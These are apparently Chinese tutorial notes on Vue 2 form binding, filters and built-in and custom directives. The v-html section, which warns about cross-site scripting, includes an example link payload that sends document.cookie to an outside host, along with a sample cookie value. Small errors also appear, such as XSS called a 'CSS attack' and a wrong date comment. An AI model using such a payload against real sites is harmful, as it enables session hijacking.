收集表单数据

  • demo如下
......
<body>
    <div id="container">
        <form action="" method="">
            <!--v-model获取用户输入的值-->
            账号: <input type="text" v-model="account"/> <br>
            密码: <input type="password" v-model="pwd"/> <br>
            <!--name值一样,才能实现单选效果,使用v-model收集value的值-->
            性别: 男<input type="radio" name="sex" v-model="sex" value="male"> 女<input type="radio" name="sex" v-model="sex" value="female"/> <br>
            <!--使用v-model收集value的值,注意,多选框的变量必须为arr,否则有问题-->
            爱好: 篮球<input type="checkbox" v-model="hobby" value="basketball"/> 足球<input type="checkbox" v-model="hobby" value="football"/> 网球<input type="checkbox" v-model="hobby" value="tennis"/> <br>
            <!--使用v-model收集value的值-->
            所属校区: <select name="" v-model="city">
                        <option value="">请选择校区</option>
                        <option value="beijing">北京</option>
                        <option value="nanjing">南京</option>
                        <option value="guangzhou">广州</option>
                      </select><br>
            <!--和收集用户名/密码一样-->
            其他信息: <textarea v-model="other"></textarea><br>
            <!--区别于性别的单选框,不需要value;有勾选就是true,没有勾选就是false-->
            <input type="checkbox" v-model="agree" /> 阅读并接受<a href="#"><用户协议></a><br>
            <button type="button">提交</button>
        </form>
    </div>
    
    <script type="text/javascript">
        var vm = new Vue({
            'el':'#container',
            data:{ // 除了复选框是arr,其他都默认空字符串即可
                account:'',
                pwd:'',
                sex:'',
                hobby:[],
                city:'',
                other:'',
                agree:''
            },
            methods:{
                
            }
        })
    </script>
</body>

提交表单数据

  • 先解决一个小问题,提交表单数据的时候
    必须阻止表单默认的提交行为(多余的动作就不要)
<div id="container">
    <!--阻止表单默认的行为,执行自定义的逻辑-->
    <form @submit.prevent="demo">
        ......
        <!--如果是 tpye="button" 是没有效果的-->
        <button type="submit">提交</button>
    </form>
</div>
......
<script type="text/javascript">
    var vm = new Vue({
        'el':'#container',
        ......
        methods:{
            demo(){
                alert(123)
            },
        }
    })
</script>
  • 打包表单数据(以下为demo演示,实际中不会这么搞...)
......
<div id="container">
    <form @submit.prevent="demo">
        ......
        <button type="submit">提交</button>
    </form>
</div>

<script type="text/javascript">
    var vm = new Vue({
        'el':'#container',
        data:{
            account:'',
            pwd:'',
            sex:'',
            hobby:[],
            city:'',
            other:'',
            agree:''
        },
        methods:{
            demo(){
                console.log(JSON.stringify(this.$data))
            },
        }
    })
</script>

'''

{"account":"admin","pwd":"aadasdfsadf","sex":"male","hobby":["basketball","football"],"city":"beijing","other":"sfsdfsdf","agree":true}

'''

  • v-model添加修饰符(number),比如限制只能输入int类型数据
    注意,".number"会自动把值转换成int类型(默认是str类型)
......
<body>
    <div id="container">
        <form @submit.prevent="demo">
            ......
            <!--html标签先作基本的限制,再加上".number"修饰符-->
            年龄: <input type="number" v-model.number="age"/> <br>
            ......
        </form>
    </div>
    
    <script type="text/javascript">
        var vm = new Vue({
            'el':'#container',
            data:{
                ......
                age:''
            },
            methods:{
                ......
            }
        })
    </script>
</body>
  • v-model.lazy修饰符,让输入框不那么勤快,等失去焦点时候,再显示内容
......
<!--等textarea失去焦点的时候,other变量才显示文本-->
其他信息: <textarea v-model.lazy="other"></textarea><br>
......
<script type="text/javascript">
    var vm = new Vue({
        'el':'#container',
        data:{
            ......
            other:'',
            ......
        },
        methods:{
            ......
        }
    })
</script>
  • v-model.trim修饰符,删除文本左右的空格(文本中间若有空格,无法删除)
......
<!--当输入左右空格的时候,变量account自动忽略空格-->
账号: <input type="text" v-model.trim="account"/> <br>
......
<script type="text/javascript">
    var vm = new Vue({
        'el':'#container',
        data:{
            account:'',
            ......
        },
        methods:{
            ......
        }
    })
</script>
  • 收集表单数据小结
- 若是 input type="text"/>,v-model收集的是value值,用户输入的就是value值

- 若是 input type="radio"/>,v-model收集的是value值,且要给标签配置value值

- 若是 input type="checkbox"/>

    - 若没有配置value属性,那么收集的就是checked(勾选/未勾选,是布尔值)

    - 有配置value

        - v-model的初始值是非数组,那么收集的就是checked(勾选/未勾选,是布尔值)

        - v-model的初始值是数组,那么收集的就是value组成的数组

- v-model的三个修饰符

    - lazy: 失去焦点的时候再收集数据

    - number: 输入字符串转为有效的数字

    - trim: 删除首尾字符串的空格

过滤器(非常类似django模板的语法)

  • 功能: 对显示的数据进行特定格式化后再显示

  • 注意: 并没有改变原本的数据,是产生新的对应的数据

  • 应用场景: 简单的逻辑运算(复杂场景请使用方法或计算属性)

  • demo演示:把时间戳转换为'yyyy-mm:hⓂ️s'

>Date.now()
1670289325898 // 这个时间戳显然...

  • 对时间进行操作的库,比较有名的有
- moment.js: 功能丰富,但是体积大

- dayjs: 轻量级操作库,本次demo就使用这个库来操作
    dayjs()
      .startOf('month')
      .add(1, 'day')
      .set('year', 2018)
      .format('YYYY-MM-DD HH:mm:ss')
  • 演示demo
......
<body>
    <div id="container">
        <h2>显示格式化以后的时间</h2>
        <h2>原时间:{{now}}</h2>
        <!--使用"计算属性"和'方法'实现-->
        <h2>格式化后的时间(computed实现):{{nowFormat}}</h2>
        <h2>格式化后的时间(methods实现):{{getFormat()}}</h2>
    </div>
    
    <script type="text/javascript">
        var vm = new Vue({
            'el':'#container',
            data:{
                now:'1670289325898' // 1672-07-03 02:29:08
            },
            computed:{
                nowFormat(){
                    res = dayjs(this.now).format('YYYY-MM-DD HH:mm:ss')
                    return res 
                }
            },
            methods:{
                getFormat(){
                    res = dayjs(this.now).format('YYYY-MM-DD HH:mm:ss')
                    return res
                }
            }
        })
    </script>
</body>

  • 现在,使用过滤器实现相同的功能
......
<body>
    <div id="container">
        ......
        <h2>格式化后的时间(computed实现):{{nowFormat}}</h2>
        <h2>格式化后的时间(methods实现):{{getFormat()}}</h2>
        <!--增加这句...-->
        <h2>格式化后的时间(过滤器实现):{{now | timeFilter}}</h2>
    </div>
    
    <script type="text/javascript">
        var vm = new Vue({
            'el':'#container',
            data:{
                now:'1670289325898'
            },
            computed:{
                nowFormat(){
                    res = dayjs(this.now).format('YYYY-MM-DD HH:mm:ss')
                    return res
                }
            },
            methods:{
                getFormat(){
                    res = dayjs(this.now).format('YYYY-MM-DD HH:mm:ss')
                    return res
                }
            },
            filters:{ // 过滤器实现,把data中的now当作参数传进来
                timeFilter(value){
                    // res = dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
                    res = dayjs(value).format('YYYY-MM-DD HH:mm:ss')
                    return res
                }
            }
        })
    </script>
</body>
  • 接收多个参数的时候,第一个参数永远是变量
......
<h2>格式化后的时间(过滤器实现):{{now | timeFilter}}</h2>
<h2>格式化后的时间(多个参数实现):{{now | manyTimeFilter("YYYY_MM_DD")}}</h2>
......
filters:{
    timeFilter(value){
        res = dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
        return res
    },
    manyTimeFilter(value,str){ // 接收两个参数
        res = dayjs(value).format(str)
        return res
    }
}

  • 上述demo的逻辑优化一下,传参就使用参数,不传参就使用默认的参数
......
<h2>格式化后的时间(多个参数实现):{{now | manyTimeFilter("YYYY_MM_DD")}}</h2>
<h2>格式化后的时间(默认参数实现):{{now | manyTimeFilter}}</h2>
......
filters:{
    timeFilter(value){
        res = dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
        return res
    },
    manyTimeFilter(value,str='YYYY年MM月DD日 HH:mm:ss'){ // 自定义默认参数
        res = dayjs(value).format(str)
        return res
    }
}
  • 传入多个过滤器demo演示(后面的过滤器的参数,是以之前过滤器的返回值为准)
......
<h2>格式化后的时间(过滤器实现):{{now | timeFilter | mySlice}}</h2>
......
filters:{
    timeFilter(value){
        res = dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
        return res
    },
   ......
    mySlice(value){
        return value.slice(0,4) // 对字符串进行切片
    }
}
  • 注意事项: 在vue实例中,自定义的过滤器属于'局部过滤器',只能给这个vue实例使用
    别的vue实例是不可以拿过来用的,如果实在想用,可以自定义'全局过滤器'
......
<body>
    <div id="container">
        ......
        <h2>格式化后的时间(过滤器实现):{{now | timeFilter | mySlice}}</h2>
        ......
    </div>
    
    <div id="box">
        <span>{{myData | mySlice}}</span> <!--直接使用-->
    </div>
    
    <script type="text/javascript">
        Vue.filter('mySlice',(value)=>{ // 定义全局filter
            return value.slice(0,4)
        }); 

        var vm = new Vue({
            'el':'#container',
            data:{
                now:'1670289325898'
            },
            
            filters:{
                timeFilter(value){
                    res = dayjs(value).format('YYYY年MM月DD日 HH:mm:ss')
                    return res
                },
        
            }
        });
        
        var vmBox = new Vue({
            'el':'#box',
            data:{
                myData:'666666666666666'
            },
        })
    </script>
</body>
  • 视图使用过滤器的时候,不一定要用插值语法(一般都是插值语法,看着比较爽...),以下演示
......
<div id="box">
    <span :x="msg | mySlice">111</span> <!--这种写法可行,但是少见-->
</div>
......
Vue.filter('mySlice',(value)=>{
        return value.slice(0,4)
    })
    var vmBox = new Vue({
        'el':'#box',
        data:{
            msg:'kingking'
        },
    })

......

- 注意事项:以下写法是错的,不能这么玩
......
<div id="box">
    <span :x="msg | mySlice">111</span> <!--正确写法-->
    <input type="" v-model="msg | mySlice" /> <!--错误写法,vue会报错,不支持这种写法-->
</div>
  • 过滤器小结
- 定义: 对要显示的数据进行特定格式化后再显示(适用于一些简单逻辑的处理)

- 语法:

    - 注册过滤器: Vue.filter(name,callback) 或者 new Vue(filters:{})

    - 使用过滤器: {{ xxx | 过滤器名 }} 或 v-bind:属性 = "xxx | 过滤器名"

- 备注:

    - 过滤器也可以接收额外参数,多个过滤器也可以串联

    - 并没有改变原本的数据,是产生新的对应的数据

v-text指令

  • 作用: 向其所在的节点中渲染文本内容

  • 与插值语法的区别

    • v-text会替换掉节点中的内容,插值语法则不会
  • 基础用法

......
<body>
    <div id="container">
        {{name}}
        <div v-text="age"></div>
    </div>
    
    <script type="text/javascript">
        
        var vm = new Vue({
            'el':'#container',
            data:{
                name:'JimGreen', // 插值语法
                age:18 // 展示
            },

        });
    
    </script>
</body>
  • 注意事项,写了v-text以后,div块就不要再写文本,因为会被v-text替换掉
<div id="container">
    {{name}}
    <div v-text="age">你好</div> <!--你好 白写,会被 age值替换-->
</div>
  • 不会解析html标签
......
<body>
    <div id="container">
        {{name}}
        <div v-text="age">你好</div>
        <div v-text="htmlContent">你好</div> <!--新增-->
    </div>
    
    <script type="text/javascript">
        
        var vm = new Vue({
            'el':'#container',
            data:{
                name:'JimGreen',
                age:18,
                htmlContent:'<h1>我会被解析吗?</h1>' // 不会被解析html文本,会原样输出
            },

        });
    
    </script>
</body>
......

v-html 指令:类似v-text,只不过会解析 html 标签

  • 作用: 向指定节点中渲染包含html结构的内容

  • 把上面的示例小改一下

......
<body>
    <div id="container">
       ......
        <div v-html="htmlContent">你好</div> <!--修改之处-->
    </div>
    
    <script type="text/javascript">
        
        var vm = new Vue({
            'el':'#container',
            data:{
                ......
                htmlContent:'<h1>我会被解析吗?</h1>' // 会被解析html文本
            },

        });
    
    </script>
</body>
......
  • v-html 引发的安全性问题探讨

    • 在网站上动态渲染任意html是非常危险的,容易导致CSS攻击

    • 一定要在可信的内容上使用v-html,永远不要用在用户提交的内容上

- 由于可以解析html标签,当插入 script/a 标签的时候,可以运行js代码,比如
......
<div id="container">
    ......
    <div v-html="htmlContent">你好</div>
</div>

<script type="text/javascript">
    
    var vm = new Vue({
        'el':'#container',
        data:{
            ......
            htmlContent:'<a href="javascript:alert(123);">点我</a>'
        },

    });

</script>

- 可以运行js代码,能做的事情很多,比如获取cookie(服务方没有对cookie进行加密)
  从而冒充真正的用户登录(document.cookie)

    '<a href=javascript:location.href="http://www.baidu.com?"+ducument.cookie>点我</a>'

- 如果服务方设置允许http协议才能获取cookie,那么此时js代码是无法获取cookie的

    > document.cookie // 未设置http协议
    'csrftoken=d2GEfdCril5F5l6ZDuGeMibBZCsaVUntZ1hlQZfYWJUVnHNUEOQBdl3INAEmIsDS'
    > document.cookie // 勾选了 httpOnly,无法再获取cookie
    ''

  • 与插值语法的区别

    • v-html会替换掉节点中所有的内容,插值语法则不会

    • v-html会自动识别html结构

v-cloak 指令(没有值)

  • 是一个特殊属性,vue实例创建完毕并接管容器以后,会删除 v-cloak指令

  • 配合css(display:none)可以解决网速慢时,页面显示出{{xxx}}的问题

  • 代码演示(前提是: 先使用node.js写出延迟5s的效果)

......
<style type="text/css">
    [v-cloak] {
        display: none;
    }
</style>
......
 <body>
    <!--页面刚加载的时候,插值被隐藏起来-->
    <div id="container" v-cloak>
        {{name}} 
    </div>
    
    <script type="text/javascript">
        
        var vm = new Vue({ <!--vue实例被创建并接管容器,v-cloak会自动被删除-->
            'el':'#container',
            data:{
                name:'JimGreen',
            },

        });
    
    </script>
</body>

v-once 指令

  • v-once所在的节点在初次动态渲染后,就被vue视为静态内容

  • 以后数据的改变不会引起 v-once所在的结构更新,可以用于优化性能

......
<body>
    <div id="container" v-cloak>
        <!--只执行一次,n永远为1-->
        <h3 v-once>n的初始值是:{{n}}</h3>
        <!--此时n值会一直自加1,没毛病-->
        <h3>n现在的值是:{{n}}</h3>
        <button type="button" @click="n++">计算</button>
    </div>
    
    <script type="text/javascript">
        
        var vm = new Vue({
            'el':'#container',
            data:{
                n:1,
            },

        });
    
    </script>
</body>
  • 注意,v-once要区别于"事件的once",例如"@click.once=..."

v-pre指令

  • 跳过其所在节点的编译过程

  • 好处: 提升效率(没有指令语法的节点,就可以使用它)

......
<body>
    <div id="container" v-cloak>
        <!--初始值这个节点,是不会被编译的,所以页面显示{{n}}-->
        <h3 v-pre>n的初始值是:{{n}}</h3>
        <h3>n现在的值是:{{n}}</h3>
        <button type="button" @click="n++">计算</button>
    </div>
    
    <script type="text/javascript">
        
        var vm = new Vue({
            'el':'#container',
            data:{
                n:1,
            },

        });
    
    </script>
</body>

自定义指令

  • 自定义一个'v-big'指令,和'v-text'功能类似,但要把传入的值放大十倍
......
<body>
    <div id="container" v-cloak>
        <h3 v-text="n"></h3> <!--原生-->
        <h3>v-big方法十倍:<span v-big="n"></span></h3> <!--自定义-->
        <button type="button" @click="n++">计算</button>
    </div>
    
    <script type="text/javascript">
        
        var vm = new Vue({
            'el':'#container',
            data:{
                n:1,
            },
            directives:{ // directive 就是指令的意思
                big(el,binding){ // el表示'包裹指令的元素对象',binding表示'指令对象'
                    // console.log(el,binding)
                    el.innerText = binding.value*10
                }
            }

        });
    
    </script>
</body>
......
  • 问题探讨,big函数什么时候会被调用

    • 自定义指令与元素成功绑定时(初始化的时候)

    • 指令所在模板被重新解析时

  • 自定义指令二: 定义一个 v-fbind 指令,和 v-bind指令类似
    绑定 input元素时,要默认就获取到焦点

......
 <body>
    <div id="container" v-cloak>

        <h3 v-text="n"></h3>
        <h3>v-big方法十倍:<span v-big="n"></span></h3>
        <button type="button" @click="n++">计算</button>
        <input type="text" v-fbind:value="n" /> <!--新增-->
    </div>
    
    <script type="text/javascript">
        
        var vm = new Vue({
            'el':'#container',
            data:{
                n:1,
            },
            directives:{
                big(el,binding){
                    // console.log(el,binding)
                    el.innerText = binding.value*10
                },
                fbind(el,binding){
                    el.value = binding.value // 赋值并获取焦点
                    el.focus()
                }
            }

        });
    
    </script>
</body>

- 结果:值成功获取到了,但是获取焦点失败
  只有点击计算按钮的时候,input框才成功获取焦点
  指令所在模板被重新解析时,fbind被重新调用了,执行了el.focus()
  从而获取焦点
  • 现在使用纯JS来演示这个问题
    得先把元素放到页面上,才能获取焦点
    元素如果在内存中,那么如何获取鼠标焦点呢
    显然是无法做到的
......
<body>
  
    <button type="button" id="btn">创建</button>
    <script>
        var btn = document.querySelector('#btn')
        btn.onclick = ()=>{
            var inputEl = document.createElement('input')
            document.body.appendChild(inputEl) // 关键步骤
            inputEl.focus()
        }
    </script>
</body>
......

- 上述代码中,如果把最后两句顺序对调一下,就无法获取焦点了

  • 使用vue解决这个问题
......
<body>
    <div id="container" v-cloak>
        <h3 v-text="n"></h3>
        <h3>v-big方法十倍:<span v-big="n"></span></h3>
        <button type="button" @click="n++">计算</button>
        <input type="text" v-fbind:value="n" />
    </div>
    
    <script type="text/javascript">
        
        var vm = new Vue({
            'el':'#container',
            data:{
                n:1,
            },
            directives:{
                big(el,binding){
                    ......
                },
                fbind:{
                    bind(el,binding){ // 初始化的时候调用
                        // console.log('bind被调用')
                        el.value = binding.value
                    },
                    inserted(el,binding){ // 指令所在的元素被插入页面
                        // console.log('inserted被调用')
                        el.focus() // 页面刷新的时候,bind和inserted均被调用
                    },
                    update(el,binding){ // 指令所的模板被重新解析时
                        // console.log('update被调用')
                        el.value = binding.value // 点击按钮的时候,调用
                    }
                }
            }

        });
    
    </script>
</body>

自定义指令需要注意的问题

  • 不要采用驼峰命名,容易出错(推荐使用'xxx-yyy-zzz'这种命名)

  • 自定义指令函数中,this指向windows对象,而不是vm实例

  • 自定义指令只能局部使用(单个vue实例使用),如果想实现复用(多个vue实例复用,必须定义全局指令)

    • Vue.directive('fbind',配置项/函数)